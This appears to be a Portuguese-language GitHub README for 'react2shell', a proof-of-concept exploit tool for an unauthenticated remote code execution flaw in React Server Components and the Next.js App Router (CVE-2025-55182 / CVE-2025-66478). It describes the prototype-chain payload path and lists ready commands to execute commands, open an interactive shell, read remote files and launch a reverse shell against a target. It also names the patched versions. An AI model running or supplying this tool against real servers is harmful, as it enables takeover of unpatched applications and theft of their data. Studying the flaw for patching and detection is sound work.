rvzsec/react2shellreact2shell - CVE-2025-55182 (Next.js: CVE-2025-66478) - RCE não autenticada em React Server Components (Flight Protocol) - Exploit de PoC
CVE-2025-55182 (Next.js: CVE-2025-66478)
RCE não autenticada em React Server Components (Flight Protocol) - Exploit de PoC
Os React Server Components (Flight protocol) desserializam multipart/form-data controlado pelo atacante sem validar o acesso à cadeia de protótipos. Um único POST não autenticado com um cabeçalho Next-Action alcança o construtor Function através de uma cadeia de referência manipulada ($1:__proto__:then + $1:constructor:constructor), resultando em execução remota de código no servidor.
Afeta react-server-dom-{webpack,turbopack,parcel} 19.0.0 - 19.2.0 e consumidores a jusante, incluindo o App Router do Next.js (14.3.0-canary.77+, 15.x, 16.x). Projetos padrão do são vulneráveis.
create-next-appgit clone https://github.com/rvzsec/react2shell
cd react2shell
pip3 install -r requirements.txt
python3 react2shell.py check -t <target>
python3 react2shell.py exec -t <target> -c '<command>'
python3 react2shell.py shell -t <target>
python3 react2shell.py file -t <target> -f <remote-path> -o <local-out>
python3 react2shell.py revshell -t <target> --lhost <ip> --lport <port>
React 19.0.1 / 19.1.2 / 19.2.1+ - Next.js 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7
Divulgação original: Lachlan Davidson (@lachlan2k)